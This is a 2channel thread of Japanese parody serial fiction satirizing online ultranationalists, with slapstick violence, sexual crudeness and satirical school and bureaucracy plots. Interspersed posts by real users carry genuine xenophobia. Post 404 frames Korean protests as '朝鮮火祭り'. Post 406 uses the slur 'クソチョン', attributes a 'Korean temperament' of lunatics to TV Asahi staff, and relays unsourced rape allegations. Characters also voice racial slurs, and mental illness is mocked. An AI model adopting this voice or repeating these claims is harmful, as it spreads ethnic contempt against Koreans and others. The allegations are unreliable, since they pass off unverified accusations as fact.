格闘家のような体つき・・・いや、古い傷跡のようなものも見える。
教頭「(ポキポキ指を鳴らしながら)・・・オトナを舐めちゃあいけない。
私は・・・、経験だけは豊富なものでね」
サトシ「ふん、弱いヤツほどそうやって良く吠えるんだ」
教頭「ほう、キミもなかなか見所はあるようだ。よろしい。ぶるぁぁぁぁぁぁぁぁぁ」
担任「教頭って・・・。良かった、本当にこの人に対してキレなくて良かった・・・」

396 :史上最強のコヴァ?:2006/11/22(水) 11:39:27 ID:pAdlxX0o
サトシ「うおおおおおおおおおおおおおおおおおおおおおおおおおおおおお」
教頭「フンッ」
サトシの右手は軽く教頭の左手の手のひらによって止められた。
教頭「キミの力はこんなものかね?」
サトシ「違うわっ、北越谷特急りょうもうパーンチ」
だが、教頭は左手に軽く力を入れただけで止めてしまった。
教頭「ほぉ」
サトシ「究極奥義!北越谷特急スペーシアパーーーーーーンチ」
サトシの右手は教頭の耳元をかすり、教頭のメガネを飛ばして地面に落とす。
メガネの硝子が割れた。
教頭「・・・ようやくキミも本気を出したようだねえ。よし、おじさんも本気を出そう」

ピーポーピーポーピーポー
黄色い救急車が学園内に入ってくる。見慣れた光景だ。
免下「どうしたっ」
担任「あ、免下先生。この、北越谷って子を連れて行って下さいな」
担任の指さす方向には、半死半生状態のサトシが
コヴァ「ついでに林間先生と千葉君も病院に連れて行って下さい。重傷でしゅにょ」
免下「これは一体・・・」
ボロボロの北越谷を見て呟く免下
担任「ああ、こうなったことについては余り気にしないでください。精神衛生上」
免下「何か変なことを言ったような・・・」
担任「あーっ、ホントに気にしないで気にしないでっ」
ヨシダ「じゃあ連れていきますね」
軍団によって拾い集められた三人は担架に乗せられ病院へと連れて行かれた。

397 :史上最強のコヴァ?:2006/11/22(水) 11:40:21 ID:pAdlxX0o
海武学園
担任「今日は本当にありがとうございました」
教頭「いやいや、良い運動になったよ」
担任「ところで・・・」
教頭「私もねえ、トンペー大学にいた頃は良く暴れたものだよ。ハッハッハ
あの頃の同期の星城丈太郎君とかは今何してるのかなあ・・・。ん?ところで
国崎君。さっき何を言いかけたのだね?」
担任「いえ、何でもないでス・・・」
教頭「しかし、あの北越谷君か。筋は良いモノを持ってるな」
担任「そうですか・・・」

松沢病院
サトシ「うおぽおおおおおおおおおおおおおおおおおおおおおおおおお。オレは
愛国者だぁぁぁぁぁぁぁぁぁ」
月宮「随分粘るやっちゃな、ピザでもないのになんでこんなに打たれ強いんやろ」
免下「さあ・・・、人間の底力ってヤツかもな」
ヨシダ「じゃあ、電圧また上げますね(ポチ」
サトシ「うぎいいいいいいいいいいいいいいいいいいいいいいいいいいいいい」

二週間後、海武学園
教頭「今日から新しい用務員さんを雇うことにした」
担任「・・・(また教頭の思いつき人事か)」
中に入ってきたのは・・・
サトシ「北越谷サトシです」
担任「ゲッ」
教頭「ちなみに社会科の実習教員も兼ねるので、国崎君、よ〜〜〜〜く指導してやりたまえよ」
担任の不幸はまだまだ続くみたいだ。

398 :名無しかましてよかですか?:2006/11/22(水) 12:54:44 ID:q1stVhRh
教頭、マジで鬼だ(つ∀`)

399 :名無しかましてよかですか?:2006/11/22(水) 20:39:47 ID:okubatlx
ふと今後の展開について考えてみたのだが、

第一の予想
北越谷が特三と同盟を結び、コヴァ達三人+担任と全面戦争を行う
第二の予想
北越谷は特三と距離を置いて、独自にコヴァ達三人+担任と戦う
第三の予想
北越谷VS特三との全面戦争が勃発し、コヴァ達三人+担任の影が薄くなる

ってところか?

400 :北越谷対林間:2006/11/24(金) 15:09:44 ID:2HRIXt9T
いつもの海武学園。林間の無駄話コーナー
林間「あー、今日は特別に進路の話をする」
コヴァ「えっ、真面目に授業をするんでしゅか?」
鳥坂「エロゲと金髪美少女と間違ったこと以外に授業できることあるんか?」
林間「そこうるさい黙れ!!1!!かんしゃくおこす!!1!!」
吉田「かんしゃく起こすのは結構ですけど、先生が授業するんですか」
林間「いいや、違う」
クラスの皆はほっと胸をなで下ろした。
林間「今日の特別講師、北越谷サトシ君だ」
三人「ゲッ」
コヴァ達三人が声を上げると北越谷が教室に入ってきた。
何故、木刀を持っているのだろうか?
北越谷「オリャア、ワシァ北越谷じゃあ。貴様等に進路について講義をしに来た」
と、どっかのDQNプロボクサーのごとき態度で木刀を上下させながら北越谷の
授業は始まった。
北越谷「きさんらの中に政治家目指しているヤツはおるかぁ!!!」
ビビりながらも数人が手を挙げる。
北越谷「じゃあ貴様等被選挙権手に入れたらすぐに出馬せぇ!!1!」
数人が頷いた。
北越谷「ホンマかぁ〜〜、おい、そこのお前っホントにそうなのか答えろ!!1」
木刀を突き出されて一人が無理矢理立たされた。
少年「え、その、一応父が自民党衆議院議員の凸谷凹介って言いまして埼玉の方に地盤もあるし
大学を出たあとは父の事務所でぞうきんがけを経験してから跡を継ぐつもりですが」
北越谷「えっ・・・そんな・・・」
動揺する北越谷。次々と生徒を当てていくが誰も彼も親や親戚が政治家であった。そして皆、
大学を出たら出来るだけ早く政界デビューしたいという願望を持っていた。
鳥坂「結構この学校多いんやな、親が政治家」
コヴァ「元々政界と学会には強いしゅよ。この学校は。官界は弱いでしゅが」
鳥坂「ふーん」

401 :北越谷対林間:2006/11/24(金) 15:10:37 ID:2HRIXt9T
北越谷には一つの信念、いや、思いこみがあった。「政治家になるなら被選挙権を得たら直ぐに
出馬すべきだ」という信念があり、兼業政治家や別の社会で成功を収めてから政治家に転向する
ことを軽んじていた。まあ、そのため兼業政治家が多い政党の地方支部で激孤立をしていたのだが。
北越谷「どどどどどどどどどうしよう!こんなに凄いヒトばかりじゃ怖いよぅ」
林間「何ビビってるんじゃあ。さっきのガキどもの親は皆反日サヨクじゃないか!」
北越谷「わ、分かった!よぉし」
そういうと北越谷はさっき手を挙げた生徒に向かって「やーいやーい反日サヨクの血が流れてる〜」
と言い、ついでに唾を吐きかけた。
「うわぁ」
吉田「なんつーか、哀しいオトナを今見ている気がしてならない・・・」
そして北越谷は続ける。
北越谷「それでな、ワシは30になったら参議院選挙に出て、40になったら千代田区長を目指す
つもりや!伊達に名門十番高校と難関法経大学を出ていないぜ!」
しかし、その北越谷発言に動揺が広がる。
「十番高校ってどこ?それより法経を難関ってヒソヒソヒソヒソ」
北越谷「ん?何がおかしいんや?十番高校は偏差値60の名門都立校やでー」
北越谷は自信満々に語った。しかし、相手が悪かった。海武学園は旧制七年生中等学校である
海武高校を前身に持つ都内の私立高校でも御三家と謳われたこともある名門校。その生徒達の
前で都立の、偏差値60の高校を出たことを誇るなんてヤムチャがフリーザにケンカを売るような
ものである。
「・・・・」
北越谷「まあ、オレはこれで元道知事で反日議員の横路よりも有能だと証明されたから即行
十番高校も体育教師殴って辞めてやって、法経大学も反日教授殴ろうとして大学に来なくて
良いと言われたから辞めてやったけどなwwwwwww」
教室内ドン引き
そして、よせばいいのについ、吉田の口から余計な一言が漏れる。
吉田「こいつ・・・、結局中卒相当のDQNじゃねえか」と

402 :北越谷対林間:2006/11/24(金) 15:11:49 ID:2HRIXt9T
勿論、自分の悪口については異常なまでのデビルイヤーを誇るアレの種族である北越谷。
吉田の悪口を聞きつけて首根っこを掴んで持ち上げる。
北越谷「てめえ何いっとるんじゃワレー」
コヴァ「ああっ、また吉田君が絡まれてるですにょ」
鳥坂「ホンマにあの手のによーくからまれるやっちゃなー。ある意味趣味のレベルやな」
しかし、この手のイキモノには手慣れた吉田。怒りの方向を巧みにコントロールしていく。
吉田「まあまあ、北越谷先生」
先生と持ち上げられ北越谷は力を緩める。
吉田「先生はとても有能で素晴らしい愛国的な方だと拝見いたしました。そんな貴方が
あのような人間に使われているとは・・・(ヨヨヨ」
北越谷「ん?どういうことだ?」北越谷は吉田に聞き返す。
吉田「はい、あのさっき貴方を連れてきた林間カヅフサなる社会科教員。あいつは全くもって
酷いんですよ。平気で吉田松陰と本居宣長は間違えるし、江戸時代をマルクス主義者のように
解釈するし、そのくせ愛国を騙ってインチキなことを授業で教えまくる」
林間は吉田の首根っこを北越谷が持ち上げた時点で満足して飽きたらしく、黒板の隅っこに
へたくそなヴァルキリーらしきイラストを書き始めている。
北越谷「それは・・・」
吉田「しかもあいつdでもないアホォなんですよ。高校は学区最低の大阪府立の高校、そこから
三浪して無名のウンコ私大、そこで保守主義の・・・ほら、千田ミノル氏っていますよね。今は
政府の教育関係の役職に就いていますけど、彼を騙してナニワ大の大学院に進んでそこで
暴れて彼の顔に泥を塗り・・・」
北越谷の手は吉田のクビから離れた。そして自分の席に戻った吉田が一言
吉田「波は、立てた」
涼しい顔でそう言い切った吉田に、コヴァと鳥坂はどことなく末恐ろしいモノを感じ、
ついでに「あの親&姉あって、この子あり」としみじみ思った。
しかし、吉田から概ね事実を吹き込まれた北越谷の怒りは収まらない。
北越谷「りーんーかーんー」

403 :北越谷対林間:2006/11/24(金) 15:12:38 ID:2HRIXt9T
林間はヴァルキリーらしきイラストにカラーチョークで色を塗っていた。
林間「んー、ナニー?授業終わったー・・・」
ボグ
林間の顔に右ストレートが炸裂した。
林間「いーだーいーよぉぉぉぉぉぉーーーーー、ままーーーーーーん」
北越谷「貴様、良くもサヨクのクセに愛国を詐称してくれたな」
林間「えっ、どういうことだよぉぉぉぉぉぉ」
北越谷「さっき、あの吉田というヤツがお前は愛国を詐称する最低の人間のクズだと」
林間「ちょっと待ってよー、サヨクで人間性最悪の売国奴で教師を教師とも思わない
ようなヤツは吉田の方だよー。うわーーーーん」
北越谷「本当かっ」
北越谷は鋭い目つきで吉田の方を向く
吉田「北越谷先生、三流大学にさえ受からない詐称人生男と、純真な学生、どっちを信じますか」
林間「あとっ、ボクは政経学部で計量経済学専攻していて、ゼミで愛国計量経済学を提唱して
ゼミ教授に認められて・・・」
吉田の目は強く意思が感じられた。林間の眼は恐怖心で満ちていた。
北越谷の決意は決まった。
林間「それでねっ、アメリカに留学したんだけどそこで金髪の美少女に鎧着せて
ヴァルキリープレイ・・・ぐはぁ」
ボコッボコッボコッボコッ。北越谷は無言で林間を殴り続けた。
コヴァ「・・・そろそろ、担任に連絡するですにょ」
鳥坂「・・・そやな」

放課後
吉田「はぁー、今日は疲れた」
コヴァ「しかし、一つ心配があるんでしゅが。今日の一件で吉田君のことを仲間だと
勘違いしないでしゅかね?」
吉田「そうなったらそうなったで、いくらでも方法は考えるさ。それしかないもん」
コヴァ「・・・随分とクレバーになりましたね。吉田君」

404 :名無しかましてよかですか?:2006/11/24(金) 23:30:48 ID:TkYGd6uW
【朝鮮火祭り】韓国全土で反米FTA暴動、官庁施設が暴徒に襲撃され炎上又は破壊される事件多発[11/22]
ソース 聯合ニュース:http://japanese.yna.co.kr/service/article_view.asp?News_id=042006112206900
ソース 日テレNEWS24 * 動画ありhttp://www.news24.jp/71800.html

写真:http://file.yonhapnews.net/foreign/newsJP/2006/20061122205031.jpg
FTA交渉中のオフィスビルの大挙して乱入しようとしている集団。
http://news.yahoo.com/photos/ss/events/wl/080601southkorea/im:/061122/photos_wl_pc_afp/da2c76d03cd7189b9fcf3565040b0ce2
警官隊は、暴徒の侵入を止められずに結果が此れ。
http://file.yonhapnews.net/foreign/newsJP/PhotoAlbum/2006/20061122185546.jpg
植え込みが暴徒に炎上させられている忠南道庁
http://file.yonhapnews.net/foreign/newsJP/2006/20061122205152.jpg

【ソウル22日聯合】 
韓米自由貿易協定(FTA)反対集会などが、22日、韓国各地で行われた。
忠清南道・忠南地方警察庁と忠南道庁前で行われた韓米FTA阻止大田・忠南地域市道民総決起大会は、
参加した農民、労働者が植え込みに火を放った。100メートルにわたり植えられた木はすべて燃えた。
また木材やパイプ、石などを利用し施設を破壊。
韓米FTA阻止光州・全南運動本部も、光州市庁前広場で1万2000人余りが集結。デモ隊と警察の衝突で
双方で約30人が負傷。参加者の一部は光州市長との面談を要求し市庁舎と市議会への侵入を試みたため、
警察と激しく衝突した。市庁舎ではガラス窓40枚、出入り口ドア、歩道ブロック、保安キーシステムなどが破
壊され、3億5000万ウォン相当の物的被害が発生した。江原道の江原農畜産非常対策委員会は、春川市
内各地で約3000人が決起大会を行った。ここでも道庁前に集結した参加者らが侵入を試み警察と衝突し、
道庁に破損被害が続出。
---------------------------------------------------------------
【朝鮮騒乱】韓米FTA・阻止汎国民運動本部、29日にも第2次反米FTA暴動を宣言
ソース http://japanese.yna.co.kr/service/article_view.asp?News_id=042006112406300


405 :399:2006/11/25(土) 01:06:53 ID:nt5asPCC
>>400-403
>>399に追加として
第四の予想
吉田の策略によって、北越谷VS特三の全面戦争が勃発し、両者共倒れとなる
ってことで

406 :名無しかましてよかですか?:2006/11/27(月) 18:45:47 ID:SSA3xxjN
http://news20.2ch.net/test/read.cgi/news/1164588870/537
↑の画像で、警官に激しくガン飛ばしてるクソチョンが、昼過ぎに混み合う狭い通りに
迷惑路駐していたバカテレ朝社員と風体が酷似していますw。

今日の午後1時過ぎに、朝鮮総連・東京都本部の近くの通りで見かけた、テレ朝の中継車(緑の車体にTV ASAHI 
NEWSと書かれ、車体上部にアンテナやらカメラを搭載しまるでスパイ船みたいな改造を施されたSUV)に乗ってい
たチンピラみたいなスキンヘッドにしてたバカ社員(?)、上下1車線しかない狭い通り、しかも曲がり角の3mも離れて
いない場所に路駐して、15分間ものんきに弁当広げてくってるんじゃねーよ。

てめーのせいで、路地から出てきた自動車やらバイクやらが、SUVを避けるために大きく曲がり、反対車
線にはみ出して走らないといけなくなっていた。もちろん、渋滞発生。これは東京の交通環境に対する凶悪
なテロもはなはだしい!。
あげくに飯を食い終わった後に、帰社するためかSUVで狭い道で転回しようとして、SUVなんでうまく転回できず
つっかえてためにバックしたりして上下線を2分ぐらい封鎖w。

ニュー速で昨日あたり話題になっていた、「テレ朝キャスター3人による女子大生や女子社員強姦事件3連発事件」
「テレ朝系列企業社員・人事関係者によるグラビアアイドル志願者連続強姦事件」といい、テレ朝は朝鮮人気質み
たいなキチガイが多いんだな。

     テレビ朝日は日本有数の大企業なのに、社員にコインパーキング代も渡さないのかw。


407 :名無しかましてよかですか?:2006/11/28(火) 00:11:12 ID:DcJktDMF
日本語でOK

408 :名無しかましてよかですか?:2006/11/28(火) 15:44:59 ID:EYh0zggX
キクチンコもまさかこのスレで主役陥落するとは思ってなかったんじゃないのかw

409 :ニート徴農機構編:2006/11/29(水) 12:58:41 ID:Y9DNW6f7
東京霞ヶ関、前略ニート徴農機構
ミノル「素子君」
素子「・・・・、なんですか理事長」
ミノル「この前審議会のオサダさん達と飲んできたんだが、そこで『予防教育』の必要性を
説かれた」
素子「それがどうしたんですか」
ミノル「つまりだね、キミのような若い人間が今はまだ学生のニート候補生に向かって
熱く人生を語ることでニートになるのを予防しようと言うなんたらかんたら」
素子「・・・・それで、どうすればいいんですか」
ミノル「はっはっは、安心したまえ。キミには今からセミナーの講師として・・・」
素子「・・・・早く異動希望出したいな・・・・」
ミノル「何か言ったかね?」
素子「いえ、何も・・・・」

東京某所。とあるホール
素子「ここが講演会場だと言われたが・・・・」
マッチョ「しかし、何故『都知事、東村ティンゴ元議員愛国について語る夕べ』という
看板が出てるんですかね」
そして周りには「いかにも」な感じの愛国的なゼントルメンが集まっていた。
 嫌 な 予 感
素子は素早く手元から携帯を取りだしミノルに連絡を取った。
素子「もしもし、理事長ですか?どうして・・・・」
ミノル「あー、素子君かね?会場設営は宇都宮のヨシダさんとこの会社に頼んだから。なんでも、
ゼントルメン専用の人材派遣会社を始めたとか何とか・・・」」
 状 況 把 握
素子「そ、それってまるっきりサギじゃあ・・・」
ミノル「ワシはしらんよ。あと、今日は今から安倍ちゃんとご飯だから、じゃ(ブチッ」
電話は切れた。

410 :ニート徴農機構編:2006/11/29(水) 13:00:33 ID:GMXWtbn7
紳士A「この前ミシマ忌行くの止めてアキバで巫女エロゲ買ってきたデブー」
紳士B「やっぱり今テレビに出てる芸能人は全員チョソの手先だよねー」
紳士C「韓国が滅べば世界の全ての危機は救われるんじゃよー」
背後では典型的紳士様トークが繰り広げられている。素子とマッチョメンは途方に暮れた。
マッチョメン「どうしますか」
素子「仕方ない、腹をくくろう」
素子は会場へと入っていく

講演が始まった。
素子が壇上に立った瞬間、会場がざわめいた。
紳士D「えっ、都知事と東村議員は?」
紳士E「でもあのお姉さん美人でしゅつ、グヘヘヘヘヘ」
しかし気にせず素子は本題に入る。
素子「今日は都知事も東村議員も都合が悪くてここには来られない。だから、私、ニート
徴農機構の管理官である国乃素子が話をする」
ニート徴農機構、その言葉を聞いた瞬間会場の空気が凍る。まさか、あの伝説の反日特務機関
でありアベシ総理がチョソに籠絡された結果作らされたニート徴農機構が何故ここに・・・。
紳士達への動揺が広がる。
素子「そもそも、愛国者が無職で引きこもっていれば良いなどという理屈はおかしいと私は
考えている。愛国者であれば、決して見返りが無くとも国のために尽くすことが・・・」
素子の言葉に一部のゼントルメンやコヴァがうぽぽぽおおおおと悲鳴を上げ始めた時、一人の
若者が壇上に駆け寄ってきた。
××「お主は反日勢力何じゃよー。真の愛国者は反日勢力に毒された社会になどでず、
一生引きこもって・・・」
若者の姿は下半身がブリーフ一枚に、手には食いかけのジャイアントカプリコを持っていた。
そう、千葉久之である。都知事と東村元議員という、愛国トークを期待してこの会場に
来ていたのである。

411 :ニート徴農機構編:2006/11/29(水) 13:01:39 ID:GMXWtbn7
千葉「チョソとクロンボとブタジル人とチャソは永久に国外追放何じゃよー。ワシに銃をよこせー。
ワシを虐めたヤツは皆殺しなんじゃよー」
眼を血走りながらそう叫ぶ千葉に、会場の一部人間も深く共感し「そうだそうだー」と
シュプレヒコールを挙げる。しかし、素子の脳内は凄まじく冷静であった。
オサダ塾での三ヶ月間の猛烈な訓練の間には、ゼントルメンやコヴァについての「座学」とも
言える授業も用意してあった。そこでは彼らの多くが学校にて「疎外(いじめとは限らない)」
されていてそのことが重度の人間関係を構築する上での障害へと繋がっていると教えられた。
彼らの強い排他的意識と、マッチョ志向は今まで受けた人間関係による辛さの反動である、
そう教えられた素子は冷静に千葉を取りなそうとした。
素子「そうか、なら自衛隊に入って強くなったらどうだ?」
しかし、この発言は一層千葉の興奮を悪化させた。
千葉「ワシは愛国的だから総司令官なんじゃゆお!1!1ワシは愚民共が死んでいくのを
千代田区の一等地の賃貸アパートでカウチポテトしながら見物できるエリートに
なるんじゃよーーーー」
なんて哀しい発言なんだろう。素子は思った。少なくとも、こいつ自身には共感は出来ないが
この発言を生んだこいつの背景には同情してもいいんじゃないのか。そんな気持ちだった
素子「・・・君の名は」
千葉「ワシは東京帝国初代皇帝のカプリコスキー一世こと千葉久之じゃよーーーーー」
素子「そうか、久之君。キミのような人間のクズモドキは私が全て引き受けるよ。
泥被ってなんぼだからな、官僚なんてモノは」
そういうと素子は千葉を抱きしめた。次の瞬間
あんな美人のお姉さんに抱きしめられて  羨   ま   し   い   と
妬みの感情が一斉に広がる。そして、
「うぽぽおおおおおおおおおおおおおおおおおお」
一斉にアレな人達が襲いかかってきた。下半身全裸で
「まずい」
素子がそう思った瞬間であった。
「突撃ー」聞いたことがある声がした。

412 :ニート徴農機構編:2006/11/29(水) 13:03:50 ID:GMXWtbn7
そしてホールの入り口を突き破って防護服で身を固めた人間が突入してきた。
何かタンクのようなモノも持ち込まれたらしい。タンクには「強力麻酔ガス」の文字
ホールの入り口が閉められる。素子はアレな人達に押し合いへし合いされ、今にも
身につけているモノは全てはぎ取られそうだ。
「キャアアアアアアアア」
「一斉噴射ーーーーー」
素子は記憶を失った。

病院。
素子の頭に包帯が巻かれている。
素子「で、どうなったんだ」
マッチョ「はい、あの後速やかに病院に彼らは移送され、所属と病歴を確認して
訓練できるものは職業訓練へ。でも、無茶しないで下さいよ。私がヨシダさんとこに
掛け合わなかったら多分死んでいましたよ」
素子「出来れば押し倒される前に助けて欲しかったがな」
マッチョ「・・・・」
素子「辞めたい辞めたい思ってるのに、仕事だとどうしても本気出しちゃうのよね。
この仕事合ってるのかしら」

海武学園
コヴァ「しかし、最近千葉クンが随分静かになりましたでしゅよ」
千葉「・・・・、モ、モトコタソのオ○○コ舐めたい・・・」
吉田「そうか?」
鳥坂「いや、実際近くに行ってみるとそーでも・・・」
千葉「・・・モ、モトコターーーーーン」

413 :名無しかましてよかですか?:2006/11/29(水) 14:09:04 ID:07E/4niU
おまんこktkl

414 :林間のパラレル西遊記:2006/11/29(水) 15:52:19 ID:OcDhKZBQ
あれから2年後、林間法師一行はようやく如意真仙(西の仙人)に対する暴行の罪を許され、
再び天竺に向けて旅を始めました。林間法師が長安をたってすでに数年が経過し、
四十路の林間法師の毛根もそろそろやばくなってきました。
このままではナンパできない!と、ナンパ成功率0パーセントの分際で
本気で悩む毎日が続きます。

さて、林間法師一行が北越谷山という怪しげな山をこえようとすると、
生暖かい風と共に痩せぎすの一人の男が姿を現しました。

男「とうとう現れたな!!林間法師め!!殺してやる!!」
林間法師「ひ…ママン…いきなり何を言ってんだお前は!!
何で俺が殺されなきゃならんか、教えてくれや、ん?」
男「ふざけるな!!貴様は俺の弟をボコボコにしただろうが!!」
林間法師「えーっと、どなた様のお兄さんでしたっけ?俺、ここまでに
人間妖怪ひっくるめて結構撲殺してきたからなぁ…」
男「お前が女人国でボコボコにした如意真仙の兄・綜魔王(そうまおう)だ!」
林間法師「あー、あのクソジジィの…あれはあのクソじじいが悪いんだ。
減るもんじゃなし、さっさと水をよこせばいいものを…天罰だよ、天罰
ということで俺無罪ね。帰った帰った。」
綜魔王「うるさい!弟の仇め!!今度はこっちが天罰を与えてやる!!出でよ!」

綜魔王は林間法師の目の前に竜巻を起こしました。
竜巻が消えると、そこには一人の男がいました。

415 :林間のパラレル西遊記:2006/11/29(水) 15:57:49 ID:OcDhKZBQ
林間法師「お、お前は!!猪肝井!!!」
猪肝井「うぐぅ、法師様、会いたかったんだよもん。」
綜魔王「紹介しよう、お前が捨てた男で、今は俺の手下担った男、猪肝井だ。」
猪肝井「うぐぅ、手下なんて言わないで。ボクを2ndチルドレンと呼んでよ。
ちなみにファーストは綜魔王様ね。本当は法師様を3rd、千葉行者を4th、
真保悟浄を5thにしたかったんだけど、綜魔王様が駄目って言ったんだ。ごめんね。
…でも、実は、ボクは仲間はずれにした法師様が許せないんだ!!
だから、死んじゃえ!!」

綜魔王「さぁ、猪肝井よ、戦え!俺の特製武器『マゴロク・E・ソード』と
『プログレッシブナイフ』でそいつらを切り裂け!!殺してしまえーーーーっ!!!」
猪肝井「成功したらボクをアスカたんみたいな美少女にしてね!うぐうううううっ!!」

猪肝井は腰につけた剣2本を鞘から抜くと、林間法師に構えて襲い掛かりました。
ところが、猪肝井の顔面に林間法師の正拳があっさりとヒットしました。

林間法師「バカが…俺を舐めるなこのブタが!!さぁ、どう料理してやろうかな…
この安置枯罵(作者注:あんちこば。善紀如来の教えを信じない者
(実際には林間法師に歯向かう者)に対する林間法師の作った罵倒語。)め…
俺を裏切った罪は重いぞ…てめえは松沢国で一生人体実験してりゃよかったんだ
俺の前に姿を現すんじゃねえかんしゃくおこす!!!11!」
猪肝井「ひいぃいぃ…逃げちゃ駄目だ、逃げちゃ駄目だ、逃げちゃ駄目だ、
逃げちゃ駄目だ、逃げなきゃ駄目だぁーーーーーーっ!!」

逃げようと体勢を翻そうとしたその瞬間、林間法師は正拳のラッシュを猪肝井に浴びせました。
あっという間に血まみれのボロクズになる猪肝井。最後は綜魔王の脇にまで吹っ飛ばされて
虫の息になってしまいました。

416 :林間のパラレル西遊記:2006/11/29(水) 15:59:51 ID:OcDhKZBQ
綜魔王「ちっ、役立たずなのはわかっていたが、ここまで無能だったとはな。
ならば、俺自らが相手してやる!!弟の仇、覚悟ォ!!」

綜魔王は気合で全身の筋肉を肥大させると、助走をつけて林間法師に突っ込み、
そのままアッパーへとつなげて林間法師を上空へと吹き飛ばしました。

林間法師「ウギャアーーーー!!ママーーーン!!!1!11!
やっぱり天竺になんか行くんじゃなかったかんしゃくおこす!!1!!!」
真保悟浄「ほ、法師様!!」

真保悟浄はポケットから急いで護身用腐羅棲屁を取り出そうとしますが、
取り出す前にこれも綜魔王の必殺技の餌食となってしまいました。
千葉行者は失禁しながら、必死でこの場から逃げようとしています。

千葉行者「あ、あんなのに正面から勝てるわけ無いのじゃよ!!ここは一時
戦略的撤退なのじゃよ!!!逃げるのじゃよ!!わしはナオンのお(ryを
舐めるまでは死ねないのじゃよ」
綜魔王「逃がさん!!」

綜魔王は背中のトンファーを抜くと、思いっきり千葉行者の後頭部にぶつけました。

綜魔王「逃げようなぞ、男のやることではない!!お前は他の二人の数倍痛めつけてやる!!」

ところが、千葉行者の様子が変です。さっきから微塵も動きません。
しばらくして、後ろを振り向くと、千葉行者はいきなり雄たけびを上げました。

417 :林間のパラレル西遊記:2006/11/29(水) 16:05:21 ID:OcDhKZBQ
千葉行者「ウオゥゥゥウゥゥム!!ハッ、ハッ、ハッ、ハッ、バァアアアァア!!!」

千葉行者は某暴走初号機のごとく、綜魔王に襲い掛かると、彼の体のあちこちを
噛み付き始めました。いや、事態はもっと深刻でした。
千葉行者は綜魔王を捕食し始めたのです。もはや、誰にも止められません。
当事者以外の三人が気絶しているのがせめてもの救いでした。
綜魔王は数分ほど断末魔の声を上げていましたが、それもしばらくして止まってしまいました。
捕食を終えた千葉行者は人間とは思えない動きで林間法師と真保悟浄を背中に背負うと、
山の向こうへ行ってしまいました。

そして数時間後、林間法師が目を覚ましました。

林間法師「いてててて…ここは?」
千葉行者「あの山のふもとなのじゃよ、金髪スキー君。」
林間法師「あれ?あいつは?」
千葉行者「聞いて欲しいのじゃよ、金髪スキー君、わしはあの時、攻撃を受けて
気を失ったのじゃが、わしも目が覚めたときはここにいたのじゃよ。
そして、あの現場付近に戻ったのじゃが、あそこにはボロボロの
エヴァスキー君の他は、何者かが肉を食い散らかした跡しか残ってなかったのじゃよ。
不思議なこともあるものじゃのう。」

林間法師一行と共に寝かされていた猪肝井が目を覚ましました。

猪肝井「う、うん…ここは…はっ!千葉君、綜魔王様は?」
千葉行者「行方不明なのじゃよ。」
猪肝井「また一人になっちゃった…寂しいのはもう嫌だよぉ〜〜お願い!
もう一度連れてって!何でもするから!女装もやめるから!
炊事洗濯エンターテイメントに夜伽、何でもやるから!!」
林間法師「だめだね。お前のような歩くトラブルなんかと誰が…」

418 :林間のパラレル西遊記:2006/11/29(水) 16:10:15 ID:OcDhKZBQ
それから30分ほど二人は罵りあいを続けますが、全く決着がつきません。
そのうち、猪肝井はこんなことを言い出しました。

猪肝井「…ボクはここにいてもいいんだ!ここにいてもいいんだ!」
林間法師「そんなこと誰も言ってねーよかんしゃくおこす!!1!!!1」

林間法師は猪肝井を岩にくくりつけると、そそくさと山を去りました。
猪肝井はまだ恍惚の瞳で「ボクはここにいて(ry」と言っていました。

千葉行者「あれでいいのかの?金髪スキー君。」
林間法師「本人が『ここにいてもいいんだ』っていうから、
そうしてやったまでさ。」
真保悟浄「そういう意味で言ったんじゃないと思いますが…」

林間法師たちは再び天竺に向けて旅を始めました。

419 :兵庫の35歳児、グ○トウ○ルへ行く:2006/12/01(金) 11:12:07 ID:UytLNsvW
注・この話はフィクションです。実在の人物、団体、事件等とは無関係です。多分

グ○トウ○ル、西宮北支店。
面接官「で、林間さんですね」
林間「はい、真の愛国者である林間カヅフサです」
面接官「ふぅ、35歳までバイトしたことがないんですか」
林間「・・・・」
面接官「まあ、この時期だったら短期のお歳暮の仕事が結構スポットで・・・」
林間「・・・」
面接官「ところで運転免許は持ってますか?それなら配送の仕事が」
林間「・・・もってましぇん」
面接官「じゃあ仕分けですね。それなら明日から・・・」
しかし、次の瞬間
林間「うっせーなオレは愛国者だぞ!1!!1!わかってるのかこの負け組のB層!
オレは日米安保条約が破棄されたら真の愛国者として五師団を指揮する総司令官・・・」
林間はジタバタ暴れ始めた。しかし、海千山千の労働者と付きあってる支店長、冷静にこう言った。
面接官「あー、とりあえず警察と病院に連絡してくれ」

420 :名無しかましてよかですか?:2006/12/01(金) 12:02:51 ID:KzMm2s6d
推定の就職活動編が読みたい

421 :林間の就職面接:2006/12/01(金) 21:52:06 ID:EAsQFUOE
199×年春、某企業
面接官「次、3214番、林間カヅフサさんどうぞ」
林間「はい」

面接官の前に現れた林間の姿は、本気でこの会社受ける気あるのかと
問い詰めたくなる姿だった。よれよれのジーンズとTシャツ、
ひげは伸び放題で、髪型も清潔感とは程遠いものだった。
おまけに履物はつっかけ…その姿は、どう見ても就活中の大学生の姿とは
到底思えなかった。バイトの面接ですら、
こんな格好で試験を受けに来る奴はいない。
面接官はひきながらも、林間に質問を始めた。

面接官「えー、なぜ当社を志望したのですか?」
面接官はそれからいくつか質問をした。尊大な態度と非常識さが時折見られたが、
質問の回答の中身自体は意外にも、及第点と呼べるごくまともなものだった。
とは言うものの、ペーパーテストの点は散々だったし、格好もアレだし、大学もしょぼいし、
三浪三留だし、態度だってかなり悪いしと、いいところが全く無かったので、
面接官は早めに質問を打ち切るべく、最後の質問に移った。
面接官「特技は議論とありますが…何についての議論ですか?」
林間「政治問題についての議論です!!私の知識量を持ってすれば、
貴社の社員を全員論破できる自信があります!!!1!」
面接官「え…で、その政治問題に関する議論上手は当社で働く上で
何のメリットがあるとお考えですか?」

422 :林間の就職面接:2006/12/01(金) 21:54:07 ID:EAsQFUOE
林間「何を言っているんですか!?政治問題は国民一人一人が強く意識をしないといけません!
反動極右自民党内閣のやっていることに耳を傾けてください。ほら、軍靴の音が…
(注:この頃の林間はイっちゃった左翼)今の日本が平和なのは僕たちが日々、
議論で右翼どもを懲らしめているからなんですよ!!!わかりますか!!??
この会社で働くメリットとかそういう問題じゃないんですよ!!」
面接官「は、はぁ…そうですか…これで面接は終わりますが、仮にわが社に
入社することがあっても、政治議論なんてふっかけないで下さいね。」
林間「何を言っているんですか?政治に無関心な人がいるから今の日本は!!1!
いまこそ、国民は一致団結して反動極右自民党政権を打倒すべきである!!!1!!」
